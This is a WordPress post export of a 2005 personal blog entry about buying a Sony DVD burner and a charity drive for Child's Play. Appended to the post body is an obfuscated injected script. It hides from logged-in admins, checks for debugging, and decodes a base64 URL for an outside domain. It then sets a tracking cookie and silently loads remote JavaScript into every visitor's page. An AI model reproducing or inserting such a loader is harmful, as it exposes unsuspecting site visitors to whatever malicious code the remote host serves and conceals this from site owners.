{"id":107,"date":"2005-07-12T19:16:32","date_gmt":"2005-07-12T23:16:32","guid":{"rendered":"http:\/\/www.callblog.net\/?p=107"},"modified":"2025-10-17T13:38:08","modified_gmt":"2025-10-17T17:38:08","slug":"my-new-dvd-burner","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/my-new-dvd-burner","title":{"rendered":"My New DVD Burner"},"content":{"rendered":"<p>Today UPS delivered my <a href=\"http:\/\/www.pcconnection.com\/ProductDetail?Sku=5388438\">Sony DVD+\/-RW DL Drive<\/a> from <a href=\"http:\/\/www.pcconnection.com\">PC Connection<\/a>.  Sad to say, it&#8217;s my first ever DVD drive.  Sadder to say, I have no computer in which to install an IDE optical drive.  While I haven&#8217;t used this new drive, I have seen the same model in action at work, at it performs like a trooper (after you update the firmware, anyway).  Also you get the option of a futuristic beige\/silver bezel or a sleek, professional black bezel, although if it is the biggest <acronym title=\"Pain in the buttocks\">PITA<\/acronym> to switch.  This is a &#8220;while supplies last&#8221; item, and for $39.95 after rebate, plus shipping it&#8217;s a steal for a brand-name drive with these specs in a retail box.  <\/p>\n<p>On another note, <a href=\"http:\/\/hypothermia.gamershardware.com\/\">Hypothermia<\/a>, which aparently has butt-tons of give-aways (since that&#8217;s all I ever see them do), is doing a <a href=\"http:\/\/hypothermia.gamershardware.com\/auction\/pa2005.html\">donation drive<\/a> for <a href=\"http:\/\/www.childsplaycharity.org\/\">Child&#8217;s Play<\/a> an organization set up by the dudes at <a href=\"http:\/\/www.penny-arcade.com\">Penny Arcade<\/a> that gives video games and video game systems to children&#8217;s hospitals.  Oh, and your $5 donation gets you a chance to win  a <a href=\"http:\/\/hypothermia.gamershardware.com\/next_drawing_pa.jpg\">sweet-ass Penny Arcade themed gaming powerhouse of a computer<\/a>, if you&#8217;re into that sort of thing, or need some incentive more then a warm cuddly feeling to donate a few American dolarini&#8217;s to a good cause.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today I recieved in the mail my Sony DVD+\/-RW DL Drive from PC Connection. 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